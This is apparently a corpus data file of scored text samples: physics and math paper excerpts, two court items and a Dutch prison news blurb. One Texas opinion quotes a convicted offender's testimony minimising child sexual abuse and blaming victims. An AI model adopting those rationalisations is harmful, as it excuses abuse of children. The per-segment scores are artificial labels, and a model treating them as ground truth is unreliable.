"\n\nFor currents near $I_c$, flatness at the bottom of the effective energy well $E_\\text{eff}({\\ensuremath{\\varphi}})$ suggests a simple method for evaluating the STO’s PSD. ",
"The relaxation of ${\\ensuremath{\\mathbf{m}}}$ towards its equilibrium orbit is driven by deterministic torques proportional to the slope of $E_\\text{eff}({\\ensuremath{\\varphi}})$. Thus, near the bottom of $E_\\text{eff}({\\ensuremath{\\varphi}})$, these restoring torques become small and the time evolution of the oscillation amplitude becomes dominated by thermal diffusion. ",
"If the time scale for thermal diffusion of the amplitude is long compared to the period of oscillations, the PSD can be approximated by a superposition of the power generated by each orbit weighted by the probability of finding ${\\ensuremath{\\mathbf{m}}}$ on this orbit given by the simple Boltzmann-like expression of Eq. (",
"\\[eqn:probE\\]). ",
"We proceed with this simple method for determining the PSD, and thereby verify that this diffusion-dominated limit is applicable for our system. ",
"We first compute the frequencies $\\omega(E)$ and average electrical powers $P(E)$ (delivered to a $50\\Omega$ load) corresponding to each conservative orbit, both of which are plotted in Fig. ",
"\\[fig:spectra\\](c). ",
"For a single-valued function $E(\\omega)$, the PSD is given by the electrical power of individual orbit $P(E)$ weighted by the probability of finding the system at this orbit: $$\\label{eqn:spectra}\nS(\\omega) = \\frac{2 \\pi \\gamma M_s \\rho'(E(\\omega),I) P(E(\\omega))}{\\omega}.$$ For a multi-valued function $E(\\omega)$, such as that shown in Fig. ",
"\\[fig:spectra\\](c), a sum over all branches of $E(\\omega)$ should be added to the right hand side of Eq. (",
"\\[eqn:spectra\\]). ",
"As shown in Fig. ",
"\\[fig:spectra\\](d), the PSDs calculated with Eq.(\\[eqn:spectra\\]) possess powers, line widths, and line shape asymmetries that are in excellent agreement with the macrospin simulations and experimental PSDs for $I$ close to $I_c$. Far from $I_c$, the agreement between PSD given by the macrospin simulations and by Eq.(\\[eqn:spectra\\]) decreases because rapid amplitude relaxation and an associated increase in phase noise (arising from nonlinear coupling between oscillation amplitude and phase [@Slavin2009a]) belie the simplicity of our ensemble average.",
"\n\nWith Eq. (",
"\\[eqn:spectra\\]) we can now see that the PSD broadening and asymmetry near $I_c$ has the same origin as the asymmetry of the crossing angle distributions $\\rho_c({\\ensuremath{\\varphi}})$. The occupation of larger amplitude orbits increases substantially as $E_\\text{eff}({\\ensuremath{\\varphi}})$ develops a large linear region. ",
"As seen in Fig. ",
"\\[fig:spectra\\], these orbits posses lower frequencies due to the frequency redshift with increasing amplitude. ",
"Thus the PSDs are seen to spread asymmetrically towards lower frequencies. ",
"In principle, non-monotonicities in $\\omega(E)$ such as those seen in Fig. ",
"\\[fig:spectra\\](b) can create, by means of an increased density of states, an accumulation of power near local extrema of $\\omega(E)$. Closely spaced features of this sort could even give the illusion of multiple modes. ",
"Since our samples are prone to dielectric breakdown at higher current densities, we are unable to experimentally access this regime.",
"\n\nIn conclusion, time domain measurements of STO voltage allow us to rapidly map statistical ensembles of STO magnetization trajectories and thereby determine ST-dependent Fokker-Planck effective energy of the STO. ",
"We use the ST-dependent effective energy approach to derive a simple expression for the STO power spectral density valid at $I\\approx I_c$, which is in excellent agreement with our experimental data. ",
"Our technique also provides a simple and accurate measurement of the field-like component of ST across a wide range of voltage bias values.",
"\n\nWe would like to thank M. W. Keller for initial discussions on the feasibility of examining real-space magnetization dynamics. ",
"We also thank A. Slavin, V. Tiberkevich, P. Visscher, P. Braganca, and B. Gurney for useful discussions. ",
"This work was supported by DARPA Grant No. ",
"HR0011-10-C-0153 and by NSF Grants No. ",
"DMR-1210850 and No. ",
"ECCS-1002358.",
"\n\n[36]{} natexlab\\#1[\\#1]{}bibnamefont \\#1[\\#1]{}bibfnamefont \\#1[\\#1]{}citenamefont \\#1[\\#1]{}url \\#1[`#1`]{}urlprefix\\[2\\][\\#2]{} \\[2\\]\\[\\][[\\#2](#2)]{}\n\n, ****, ().",
"\n\n, ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, ****, ().",
"\n\n, , , , , , , ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, , , , , , , ****, ().",
"\n\n, , , , , , , , , , , ****, ().",
"\n\n, , , , , , , , , ****, ().",
"\n\n, , , ****, ().",
"\n\n, , , , , , , , , , ****, ().",
"\n\n, , , , , , , , , , , ****, ().",
"\n\n, , , ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, ****, ().",
"\n\n, ****, ().",
"\n\n, , , , , , ****, ().",
"\n\n, , , , , , , ****, ().",
"\n\n, , , ****, ().",
"\n\n, , , , , , ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, ****, ().",
"\n\n, , , ** (, , ).",
"\n\n, , , , , , , , , , ****, ().",
"\n\n, , , , , , , , , , , ****, ().",
"\n\n, , , , , , , , , , , ****, ().",
"\n\n, , , , ****, ().",
"\n\n(????).",
"\n\n, ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, , , , , ****, ().",
"\n\n, , , , , , , , , ****, ().",
"\n\n, , , , , , ****, ().",
"\n\n, , ().",
"\n\n, , , ****, ().",
"\n\n, ****, ().",
"\n"
] | {
"pile_set_name": "ArXiv"
} | [
0.0006450799992308021,
0.0006134865107014775,
0.0005347204278223217,
0.0005777948535978794,
0.0008276077569462359,
0.0006407895125448704,
0.0006105571519583464,
0.0005807725246995687,
0.0006095814751461148,
0.0005738011677749455,
0.0006072320975363255,
0.0005305141094140708,
0.0006373637006618083,
0.0019055769080296159,
0.000625068147201091,
0.0007725128089077771,
0.0006957291625440121,
0.0006090399110689759,
0.0008421065867878497,
0.000644280924461782,
0.0006025054026395082,
0.006879257038235664,
0.0006306623108685017,
0.007737244479358196,
0.0006592344143427908,
0.0006593251600861549,
0.0007845236104913056,
0.000722838391084224,
0.0008611537632532418,
0.005432008299976587,
0.001300227246247232,
0.0008299362962134182,
0.0007457112660631537,
0.0012154614087194204,
0.0009618175099603832,
0.0005876628565602005,
0.0008392099407501519,
0.0012975556310266256,
0.000861035194247961,
0.0006109654786996543,
0.020483558997511864,
0.0005659369053319097,
0.00593347055837512,
0.0007601663237437606,
0.0007931941654533148,
0.0006269986042752862,
0.000583019747864455,
0.002562934998422861,
0.0006357769016176462,
0.0006962793995626271,
0.0006868361379019916,
0.0006792166386730969,
0.000667968881316483,
0.0005751681746914983,
0.0005644081393256783,
0.0016995577607303858,
0.00067209976259619,
0.0007117765489965677,
0.0005706765223294497,
0.0005592962843365967,
0.0008701990591362119,
0.0005779446219094098,
0.001178203383460641,
0.0005551949143409729,
0.0007362825563177466,
0.007850163616240025,
0.0005801268271170557,
0.0006704450934194028,
0.0007750460063107312,
0.0006555872969329357,
0.0006779897958040237,
0.0005533216171897948,
0.0007439304026775062,
0.0006405888707377017,
0.0006409449269995093,
0.0006083605694584548,
0.0007562108803540468,
0.0007372426916845143,
0.0006148061365820467,
0.0006334763602353632,
0.0019055769080296159,
0.0006481533055193722,
0.0008316878811456263,
0.0005815005279146135,
0.0007719211862422526,
0.001126205432228744,
0.0007684606243856251,
0.0027820321265608072,
0.0009585931547917426,
0.0007776442216709256,
0.001531492336653173,
0.0008743306389078498,
0.0005998716223984957,
0.0005714730941690505,
0.0006794387008994818,
0.0009144145296886563,
0.001986459828913212,
0.019782600924372673,
0.000763112329877913,
0.0007944011013023555,
0.001034664805047214,
0.0007278384291566908,
0.0009579572360962629,
0.0005511106573976576,
0.0006167443352751434,
0.0007555337506346405,
0.0009157205931842327,
0.0009418008849024773,
0.0011854644399136305,
0.0006297628278844059,
0.0007517070043832064,
0.00066216173581779,
0.0008135949028655887,
0.0006292338948696852,
0.0007135922787711024,
0.0007007031235843897,
0.0007978284847922623,
0.0006834697560407221,
0.0007260019774548709,
0.0006765900761820376,
0.0005856819916516542,
0.0005989487399347126,
0.0005214433767832816,
0.0005895087379030883,
0.0006317397346720099,
0.0006839956622570753,
0.0007845074869692326,
0.0006747307488694787,
0.04242605343461037,
0.0010885337833315134,
0.0012854082742705941,
0.0010885337833315134,
0.0015148716047406197,
0.0012854082742705941,
0.0015148716047406197,
0.0022029434330761433,
0.0017825881950557232,
0.0010703691514208913,
0.0018985954811796546,
0.0022029434330761433,
0.0010703691514208913,
0.0012854082742705941,
0.0010885337833315134,
0.0010885337833315134,
0.0015037826960906386,
0.0015148716047406197,
0.0010703691514208913,
0.0015037826960906386,
0.0012854082742705941,
0.0010885337833315134,
0.000957254262175411,
0.0018985954811796546,
0.0022029434330761433,
0.0022029434330761433,
0.001098361099138856,
0.0009144215728156269,
0.0010885337833315134,
0.0012854082742705941,
0.0012854082742705941,
0.0017825881950557232,
0.0015037826960906386,
0.0007727495394647121,
0.0010703691514208913,
0.0010885337833315134,
0.001995444530621171
] | 0.001597 | 165 |
[
"\n860 So.2d 1154 (2003)\nKAPPA LOYAL, L.L.C.\nv.\nPLAISANCE DRAGLINE & DREDGING COMPANY, INC.",
"\nNo. ",
"2003-C-2348.",
"\nSupreme Court of Louisiana.",
"\nDecember 12, 2003.",
"\nDenied.",
"\n"
] | {
"pile_set_name": "FreeLaw"
} | [
0.0007496456964872777,
0.0013785817427560687,
0.0007904235390014946,
0.0006968553061597049,
0.0007279455894604325,
0.0007974260370247066,
0.001995444530621171
] | 0.001019 | 7 |
[
"This\ncase involves a civil commitment pursuant to the Sexually\nViolent Predator Act (\"SVP\"). ",
"See Tex.",
"\nHealth & Safety Code Ann. § ",
"841.001-.151 (West\n2017). ",
"After a jury trial, Appellant Louis Anthony Colantuono\nwas found to be a sexually violent predator and was civilly\ncommitted for sex-offender treatment and supervision. ",
"On\nappeal, he argues the evidence is legally and factually\ninsufficient to support the jury's finding that he\nsuffers from a behavioral abnormality that makes him likely\nto engage in a predatory act of sexual violence. ",
"He also\nargues the trial court erred in excluding testimony from his\nexpert witness about possible future conditions of parole\nsupervision. ",
"We affirm.",
"\n\nBackground\n\nIn May\n2016, the State filed a petition alleging that Colantuono was\na sexually violent predator and requesting that he be\ncommitted for treatment and supervision pursuant to Title 11,\nChapter 841 of the Texas Health and Safety Code. ",
"At trial,\nevidence regarding Colantuono's prior sexual convictions\nwas admitted, proving that Colantuono had five previous\nconvictions in California for sexual acts against children\nand was currently serving a thirty-year sentence in Texas for\naggravated sexual assault of a child. ",
"Colantuono has been\nimprisoned since 1995.",
"\n\nAt\ntrial, Colantuono testified that he had had several\nrelationships with boys, whom he described as\n\"throwaways.\" ",
"According to Colantuono,\n\"they're not only throwaways, but some of them are\njust neglected. ",
"Their fam-their families are alcoholics, drug\naddicts, and everything else, you know, and\nthat's-that's it. ",
"They're-They're\nlonely.\" ",
"Colantuono testified he would take care of\nthese boys and feed them. ",
"He admitted to being a member of\nthe National Association of Man/Boy Lovers, which he joined\nbecause he had heard he could get legal help from the\norganization. ",
"Colantuono admitted that he has\n\"masturbated to boys\" and testified he has \"a\ngreat love for boys.\" ",
"Colantuono became a \"boy\nlover\" when he was twelve years old and was sodomized by\nanother boy. ",
"Colantuono testified that his \"age\npreference is actually 12, 13, 14, 15, 24.\"",
"\n\nColantuono\ntestified that he was first convicted of a sexual crime in\n1963 in California when he was about twenty-five years old.",
"\nWhile driving an ice cream truck, he saw two boys\nhitchhiking. ",
"Colantuono was accused of touching the penis of\none of the boys.",
"\n\nI was just meeting those kids, and this one fourteen-year-old\nboy turned around and was jealous that the thirteen-year-old\nwanted to go with me, and he told lies about us. ",
"I don't\nwant to drag any children into court and say, \"Here.",
"\nYou've got to stand here and you've got to say this\nand that.\" ",
"You know, so I just pled guilty.",
"\n\nColantuono\ndenied any sexual contact with the boys, although he\ntestified he \"sure wish[ed] he could have made love\nto\" one of them. ",
"Colantuono was convicted of lewd and\nlascivious contact against one of the boys. ",
"He was committed\nto a mentally disordered sex offender program and was found\nby the court to be a \"probable sexual psychopath.\"",
"\n\nColantuono\nadmitted that he was subsequently convicted of four more\nsexual offenses in California involving children, including\none related to putting his penis in a boy's anus and\nanother related to putting his mouth on a child's penis.",
"\nColantuono testified about sexually abusing an eleven-year\nold boy named Oliver who had been part of a \"camping\ngroup\" that Colantuono led. ",
"Colantuono estimated he\nsodomized Oliver seven or eight times over a period of six\nmonths. ",
"Colantuono testified he believed the relationship was\nconsensual, but admitted that Oliver had not characterized\nthe relationship that way:\n\nI didn't say I threatened him [Oliver]. ",
"He said I\nthreatened him. ",
"He said that I threatened him that I was\ngoing to shoot him with a shotgun - a shotgun. ",
"The word was,\n\"Be careful, Oliver. ",
"I'm ready to shoot cum, \"\nnot shoot him with a shotgun.",
"\n\nColantuono\ntestified he had a relationship with another boy in the\n\"camping group\" who was fourteen years-old. ",
"The\nboy, Jerry, moved into Colantuono's home. ",
"Colantuono\ndescribed the sexual relationship as consensual and lasting\nfor two-and-a-half years. ",
"Colantuono also testified he took\nan eleven-year-old boy on a camping trip to San Francisco and\nsodomized him. ",
"Once again, Colantuono testified the sexual\nrelationship had been consensual. ",
"And, Colantuono admitted to\nhaving sodomized a thirteen-year-old boy named Gilbert.",
"\nColantuono testified he would take boys on overnight trips to\nLas Vegas or San Francisco and would invite them to stay at\nhis house. ",
"According to Colantuono, he would also offer them\ngifts.",
"\n\nWhen\nquestioned by the State about sexual contact with a\nnine-year-old boy and a six-year-old boy, Colantuono denied\nhaving any contact with them, claiming they were too young\nfor him.",
"\n\nIn the\n1980s, after serving seven and a half years in prison,\nColantuono was released on parole. ",
"While on parole, he went\nto Mexico, which was against the terms and conditions of his\nparole. ",
"Colantuono testified he violated the terms of his\nparole because of a fifteen-year-old boy named Jason.",
"\nColantuono had met Jason's mother \"at the welfare\noffice\":\n\nI invited his mother earlier over for a meal. ",
"They told me\nthey were going to the river. ",
"They were going to camp at the\nriver, and I said, \"I've got sleeping bags over at\nmy house. ",
"I'll give them to you. ",
"They're brand new,\nyou know.\" ",
"I didn't expect them to move in on me and\nnot move once they got in my-my hotel room.",
"\n\nColantuono\nclaimed that Jason's mother told Jason to sleep in\nColantuono's bed. ",
"Colantuono admitted to masturbating in\nthe bed while Jason was sleeping. ",
"Colantuono testified that\nhe left for Mexico because he believed he was going to be\ncharged with another sexual offense.",
"\n\nColantuono\ntraveled to Mexico under a false identity. ",
"Colantuono\ntestified that while he was in Mexico, he had a sexual\nrelationship with a fourteen-year-old boy named Marvin.",
"\nAccording to Colantuono, he was traveling from Mexico to\nTexas every week. ",
"On one of his trips to Texas, when he was\nfifty-four years old, he stayed at a friend's home where\nan eleven-year-old girl named Jessica was staying over for a\nslumber party. ",
"Colantuono claimed he \"fell asleep on the\nsofa at the top of the bed\" and Jessica \"was in the\nmiddle of bed.\" ",
"Colantuono testified he woke up to being\n\"orally copulated by this child.\" ",
"Colantuono\nclaimed eleven-year-old Jessica tore \"her panties off\nwith one hand, grab[bed] [him] by the penis and pull[ed him]\ndown over her.\" ",
"Colantuono claimed he \"became her\nvictim.\" ",
"Colantuono testified, \"She groomed me and\nshe got me to do whatever she was going to do with me.\"",
"\nColantuono claimed Jessica's parents were \"using her\nas fair trade to supply her-their drugs.\" ",
"Colantuono was\nconvicted of aggravated sexual assault and ...\n\nOur website includes the first part of the main text of the court's opinion.",
"\nTo read the entire case, you must purchase the decision for download. ",
"With purchase,\nyou also receive any available docket numbers, case citations or footnotes, dissents\nand concurrences that accompany the decision.",
"\nDocket numbers and/or citations allow you to research a case further or to use a case in a\nlegal proceeding. ",
"Footnotes (if any) include details of the court's decision. ",
"If the document contains a simple affirmation or denial without discussion,\nthere may not be additional text.",
"\n\nBuy This Entire Record For\n$7.95\n\nDownload the entire decision to receive the complete text, official citation,\ndocket number, dissents and concurrences, and footnotes for this case."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0024299579672515392,
0.0007498146733269095,
0.0007203621207736433,
0.0006839966517873108,
0.026860829442739487,
0.01414034329354763,
0.0006382627761922777,
0.000588792550843209,
0.0016747843474149704,
0.017964612692594528,
0.0007871632697060704,
0.03436557203531265,
0.0016917402390390635,
0.3707973062992096,
0.0019135288894176483,
0.018885480239987373,
0.0007940044743008912,
0.8808678984642029,
0.575548529624939,
0.0007495771278627217,
0.0080091068521142,
0.030735330656170845,
0.8741939663887024,
0.07030989974737167,
0.15182453393936157,
0.011079174466431141,
0.0010446700034663081,
0.05882227420806885,
0.02046108990907669,
0.773116946220398,
0.6527794003486633,
0.03889445587992668,
0.20482628047466278,
0.0006769370520487428,
0.0038939572405070066,
0.661887526512146,
0.001019064337015152,
0.9819902777671814,
0.001153790857642889,
0.002220587572082877,
0.008452837355434895,
0.44021520018577576,
0.01905057765543461,
0.5339455604553223,
0.00172383280005306,
0.0008201575255952775,
0.027383409440517426,
0.0009368346654810011,
0.0011007037246599793,
0.002099785953760147,
0.0010629263706505299,
0.0013918285258114338,
0.001120087574236095,
0.0018355156062170863,
0.0012736637145280838,
0.00192212441470474,
0.006586030125617981,
0.9127230048179626,
0.03882039710879326,
0.001419365988112986,
0.06790156662464142,
0.0006809316109865904,
0.0015591179253533483,
0.0016175175551325083,
0.013105745427310467,
0.9003060460090637,
0.008519773371517658,
0.0011677425354719162,
0.0012040844885632396,
0.009738628752529621,
0.0005363811505958438,
0.0005593362147919834,
0.0005965246818959713,
0.000543201866094023,
0.0005708595272153616,
0.000748787191696465
] | 0.125198 | 76 |
[
"Navigation\n\nProductions\n\n21 May 2014\n\nFrance 2 News\n\nDutch jail system\n\nSince jails in France are seriously overcrowded, the French broadcaster France 2 want to find out why the Dutch jails are getting emptier and emptier. ",
"Over the last years many prisons were closed and some even say that there are even more guards than prisoners in the Netherlands. ",
"Also the Dutch Lower House wants to know why are so little prisoners in Dutch jails. ",
"They asked the responsible minister to come with an explanation. ",
"In June or July the minister will write a letter to the Dutch parliament with some clear explanations."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006552443373948336,
0.0007686378667131066,
0.003937828354537487,
0.0006703488761559129,
0.0006654108874499798
] | 0.001339 | 5 |
[
"---\nabstract: 'We prove a new lower bound for the first eigenvalue of the Dirac operator on a compact Riemannian spin manifold by refined Weitzenböck techniques. ",
"It applies to manifolds with harmonic curvature tensor and depends on the Ricci tensor. ",
"Examples show how it behaves compared to other known bounds.'",
"\nauthor:\n- 'Thomas Friedrich and Klaus-Dieter Kirchberg (Berlin)'\ntitle: 'Eigenvalue estimates of the Dirac operator depending on the Ricci tensor. [",
"^1]'\n---\n\namssym.def 0em -3cm -2cm 0em\n\n\\\n\n[ Differential Geometry.\\\n[*2000 MSC:*]{} 53C27, 53C25.\\\n[*Keywords:*]{} Dirac operator, eigenvalues, harmonic Weyl tensor.]{}\\\n\\\n\nIntroduction\n============\n\nIf $M^n$ is a compact Riemannian spin manifold with positive scalar curvature $R$, then each eigenvalue $\\lambda$ of the Dirac operator $D$ satisfies the inequality $$\\lambda^2 \\ge \\frac{n R_0}{4(n-1)} \\ ,$$\n\nwhere $R_0$ is the minimum of $R$ on $M^n$. The estimate $(1)$ is sharp in the sense that there exist manifolds for which $(1)$ is an equality for the first eigenvalue $\\lambda_1$ of $D$. If this is the case, then each eigenspinor $\\psi$ corresponding to $\\lambda_1$ is a Killing spinor with the Killing number $\\lambda_1/n$, i.e., $\\psi$ is a solution of the field equation $$\\nabla_X \\psi + \\frac{\\lambda_1}{n} X \\cdot \\psi =0$$\n\nand $M^n$ must be an Einstein space (see [@F1]). ",
"A generalization of this inequality was proved in the paper [@Hi], where a conformal lower bound for the spectrum of the Dirac operator occured. ",
"Moreover, for special Riemannian manifolds better estimates for the eigenvalues of the Dirac operator are known, see [@Ki], [@KSW]. ",
"However, all these estimates of the spectrum of the Dirac operators depend only on the scalar curvature of the underlying manifold. ",
"Therefore it is a natural question whether or not one may relate the spectrum of the Dirac operator to more refined curvature data.\\\nIn this paper we shall prove an estimate depending on the Ricci tensor for the eigenvalues of the Dirac operator on compact Riemannian manifolds with harmonic curvature tensor. ",
"The main idea is the investigation of the differential operators $$Q^t : \\Gamma (S) \\to \\Gamma (TM^n \\otimes S)$$ depending on a real parameter $t \\in {\\Bbb R}$ and defined by $${\\textstyle\nQ^t_X \\psi := \\nabla_X D \\psi + \\frac{1}{n} X \\cdot D^2 \\psi + t \\cdot\n(\\mbox{Ric} - \\frac{R}{n})(X) \\cdot \\psi ,}$$\n\nwhere $\\mbox{Ric}$ denotes the Ricci tensor. ",
"Under the assumption that the curvature tensor is harmonic we prove a formula expressing the length $|Q^t\\psi|^2$ by the Dirac operator $D\\psi$, the covariant derivatives $\\nabla D\\psi$ and $\\nabla \\psi$ as well as by some curvature terms (Theorem 1.6). ",
"Integrating this formula we obtain, for any $t \\ge 0$, an inequality for the eigenvalues of the Dirac operator depending on the scalar curvature, the minimum of the eigenvalues of the Ricci tensor and its length. ",
"An optimal choice of the parameter $t$ bounds the spectrum of the Dirac operator from below. ",
"For example, we prove the inequality $$\\lambda^2 > \\frac{1}{4} \\cdot \\frac{| \\mbox{Ric}|^2_0}{| \\mbox{Ric}|_0 \n\\sqrt{\\frac{n-1}{n}} + |\\kappa_0|}$$ for compact Riemannian spin manifolds with harmonic curvature tensor and vanishing scalar curvature, where $\\kappa_0$ and $|\\mbox{Ric}|_0$ denote the minimum of the eigenvalues and the length of the Ricci tensor, respectively.",
"\n\nThe Weitzenböck formula for the operator $Q^t$\n==============================================\n\nFirst of all let us fix some notations. ",
"In the following $(X_1, \\ldots,\nX_n)$ is always any local frame of vector fields, and $(X^1, \\ldots , \nX^n)$ is the associated frame defined by $X^k := g^{kl}X_l$, where the $g^{kl}$ denote the components of the inverse of the Riemannian metric $(g_{kl}):=(g(X_k, X_l))$. Using the twistor operator (see [@BFGK], Section 1.4) $${\\cal D}: \\Gamma (S) \\longrightarrow \\Gamma (TM^n \\otimes S)$$ locally given by ${\\cal D}{\\psi} := X^k \\otimes {\\cal D}_{X_k} \\psi$ and ${\\cal D}_X \\psi \\ := \\ \\nabla_X\\psi + \\frac{1}{n} X \\cdot D \\psi$, we may rewrite the operator $Q^t$ as\n\n$${\\textstyle\nQ^t \\psi \\ = \\ {\\cal D} D \\psi + t \\cdot X^k \\otimes ( \\mbox{Ric} - \n\\frac{R}{n} )(X_k) \\cdot \\psi .}$$\n\nThe image of the twistor operator ${\\cal D}$ is contained in the kernel of the Clifford multiplication $\\mu :TM^n \\otimes S \\to S$, i.e.,\n\n$$\\mu ({\\cal D} \\psi)\\ = \\ X^k \\cdot {\\cal D}_{X_k} \\psi =0 \\ .$$\n\nAs endomorphisms acting on the spinor bundle the following identities are well known: $$X^k \\cdot \\mbox{Ric} (X_k) \\ = \\ \\mbox{Ric} (X_k) \\cdot X^k \\ = \\ - R, \\quad\n{\\textstyle\nX^k \\cdot ( \\mbox{Ric} - \\frac{R}{n} ) (X_k) \\ = \\ 0 \\ .}$$\n\nIn particular, we see that the image of the operators $Q^t$ is contained in the kernel of the Clifford multiplication. ",
"By definition, a spinor field $\\psi$ belongs to the kernel of the operator $Q^t$ if and only if it satisfies the equation $${\\textstyle\n\\nabla_X D \\psi + \\frac{1}{n} X \\cdot D^2 \\psi + t \\cdot ( \\mbox{Ric} - \n\\frac{R}{n} ) (X) \\cdot \\psi \\ = \\ 0}$$\n\nfor each vector field $X$. In the following we shall use the Weitzenböck formula $${\\textstyle\n|{\\cal D} \\psi |^2 \\ = \\ |\\nabla \\psi |^2 - \\frac{1}{n} |D \\psi |^2}$$\n\nfor the twistor operator $\\cal{D}$.\\\n[**Lemma 1.1:**]{} [*For any spinor field $\\psi \\in \\Gamma (S)$, the following formula holds:*]{} $$\\begin{array}{l}\n|Q^t \\psi |^2 \\ = \\ | \\nabla D \\psi |^2 - \\frac{1}{n} |D^2 \\psi |^2 +2t \n\\cdot \\frac{R}{n} \\cdot \\mbox{Re} ( \\langle D^2 \\psi , \\psi \\rangle \n)+ t^2 \\cdot |\\mbox{Ric} - \\frac{R}{n} |^2 \\cdot |\\psi |^2 \\\\ \\mbox{}\\\\\n\\mbox{} \\quad \\quad \\quad \\quad - 2t \\cdot \\mbox{Re} \\Big(\\langle \n\\mbox{Ric} (X^k) \\cdot \\nabla_{X_k} D \\psi, \\, \\psi \\rangle \\Big)\n\\end{array}$$\n\n[**Proof:**]{} Using the formulas $(3), (4)$ and $(7)$ we have $$\\begin{array}{lll} \n|Q^t \\psi |^2 &=& \\langle Q^t_{X_k} \\psi , Q^t_{X^k} \\psi \\rangle \\\\[1em]\n&\\stackrel{(3)}{=}&\\Big\\langle {\\cal D}_{X_k} D \\psi + t (\\mbox{Ric} - \n\\frac{R}{n}) (X_k) \\cdot \\psi\n, {\\cal D}_{X^k} D \\psi + t ( \\mbox{Ric} - \\frac{R}{n} ) (X^k) \n\\cdot \\psi \\Big\\rangle\\\\[1em]\n&=& |{\\cal D}D \\psi |^2 - 2t \\cdot \\mbox{Re} \\left( \\Big\\langle ( \n\\mbox{Ric} - \\frac{R}{n} ) (X^k)\n {\\cal D}_{X_k} D \\psi , \\psi \\Big\\rangle \\right)+ t^2 \\cdot | \\mbox{Ric} \n- \\frac{R}{n} |^2 \\cdot |\\psi|^2 \\\\[1em]\n&\\stackrel{(4)}{=}& |{\\cal D}D \\psi |^2 + t^2 \\cdot |\\mbox{Ric} - \n\\frac{R}{n} |^2 \\cdot |\\psi|^2 - 2t \\cdot \\mbox{Re} \\left( \\langle \n\\mbox{Ric} (X^k) \\cdot {\\cal D}_{X_k} D \\psi , \\psi \\rangle \\right) \\\\[1em] \n&\\stackrel{(7)}{=}& | \\nabla D \\psi |^2 - \\frac{1}{n} |D^2 \\psi |^2 + t^2 \n\\cdot \\Big| \\mbox{Ric} - \\frac{R}{n} \\Big|^2 \\cdot |\\psi |^2 +2t \\cdot \n\\frac{R}{n} \\cdot \\mbox{Re} \\left( \\langle D^2 \\psi , \\psi \\rangle \\right) \n\\\\[1em]\n&&- 2t \\cdot \\mbox{Re} \\left(\\langle \\mbox{Ric} (X^k) \\cdot \\nabla_{X_k} D \\psi , \\psi \\rangle \\right) . ",
"\\hfill \\Box\n\\end{array}$$\n\nEquation $(8)$ is a preliminary version of the Weitzenböck formula, which we will apply in the proof of our main result. ",
"Our next aim is to express the uncontrollable last term on the right-hand side by terms that are controllable. ",
"For this purpose we need a condition on the covariant derivative of the Ricci tensor. ",
"For vector fields $X,Y$, we use the notation $$\\nabla_{X,Y} := \\nabla_X \\nabla_Y - \\nabla_{\\nabla_X Y}$$\n\nfor the corresponding tensorial derivatives of second order in $TM^n$ as well as in $S$. By $K$ we denote the Riemannian curvature tensor and by $C$ the curvature tensor in the spinor bundle $S$. Then, for all $X,Y, Z \\in \\Gamma \n(TM^n)$ and all $\\psi \\in \\Gamma (S)$, we have $$K(X,Y)(Z) \\ = \\ \\nabla_{X,Y} Z - \\nabla_{Y,X} Z \\quad , \n\\quad C(X,Y) \\psi \\ = \\ \\nabla_{X,Y} \\psi - \\nabla_{Y,X} \\psi$$ as well as the well known relation between the two curvatures $${\\textstyle\nC(X,Y) \\cdot \\psi \\, =\\, \\frac{1}{4}\\, X^k \\cdot K(X,Y) (X_k) \\cdot \\psi \n\\, = \\, \\frac{1}{4} \\, g(K(X,Y)(X^k) , X^l) X_k \\cdot X_l \\cdot \\psi \\ .}$$\n\nConsidering $C$ as a map from $\\Gamma (S)$ to $\\Gamma (TM^n \\otimes TM^n \\otimes S)$ locally defined by $$C \\psi \\ := \\ X^k \\otimes X^l \\otimes C(X_k, X_l) \\psi ,$$\n\nthe length $|C \\psi |^2$ is just the scalar product $$|C \\psi |^2 = \\langle C(X_k, X_l) \\psi , C(X^k, X^l ) \\psi \\rangle .$$\n\nMoreover, for two spinor fields $\\psi, \\varphi$ we introduce a complex vector field $\\langle C \\psi, \\nabla\n\\varphi \\rangle$ defined by the formula $$\\langle C \\psi , \\nabla \\varphi \\rangle \\ := \\ \\langle C(X^k, X^l) \\psi, \n\\nabla_{X_l} \\varphi \\rangle \\cdot X_k \\ .$$\n\n[**Lemma 1.2:**]{} [*For any $\\psi \\in \\Gamma (S)$, we have the equation*]{} $$\\begin{array}{c}\n\\Big\\langle C(X^k, X^l) \\nabla_{X_k} \\psi , \\nabla_{X_l} \\psi \\Big\\rangle \\ \n= \\ \\mbox{div} \\Big\\langle C \\psi , \\nabla \\psi \\Big\\rangle - \n\\frac{1}{2} \\Big|C \\psi \\Big|^2 \\\\\n\\mbox{}\\\\\n+ \\ \\frac{1}{4} \\cdot \\Big\\langle \\psi, \\Big( ( \\nabla_{X_k} \\mbox{Ric})(X^l) \n\\cdot X^k - X^k \\cdot (\\nabla_{X_k} \\mbox{Ric})(X^l) \\Big) \\nabla_{X_l} \n\\psi \\Big\\rangle . ",
"\n\\end{array}$$\n\n[**Proof:**]{} Let $x \\in M^n$ be any point and let $(X_1, \\ldots , X_n)$ be any orthonormal frame in a neighbourhood of the point such that $(\\nabla X_k)_x\n=0$ holds for $k=1, \\ldots , n$. Then we have at $x \\in M^n$ that\n\n$$\\begin{array}{l}\n\\hspace{-1mm}\\langle C(X^k , X^l) \\nabla_{X_k} \\psi , \\nabla_{X_l} \\psi \n\\rangle \\ = \\ - \\langle \\nabla_{X_k} \\psi , C(X^k , X^l) \\nabla_{X_l} \\psi \n\\rangle \\\\[1em]\n\\hspace{-1mm} = - X_k (\\langle \\psi, C(X^k , X^l)\\nabla_{X_l} \\psi \\rangle)\n+ \\langle \\psi, (\\nabla_{X_k} C)(X^k , X^l)\\nabla_{X_l} \\psi \\rangle \n + \\langle \\psi , C(X^k, X^l) \\nabla_{X_k} \\nabla_{X_l} \\psi \\rangle \\\\[1em]\n\\hspace{-1mm} = X_k (\\langle C(X^k , X^l) \\psi , \\nabla_{X_l} \\psi \n\\rangle ) + \\langle \\psi , (\\nabla_{X_k} C)(X^k , X^l) \\nabla_{X_l} \\psi \n\\rangle + \\frac{1}{2} \\langle \\psi , C(X^k, X^l)C(X_k , X_l) \\psi \n\\rangle \\\\[1em]\n\\hspace{-1mm} = \\ \\mbox{div} \\langle C \\psi 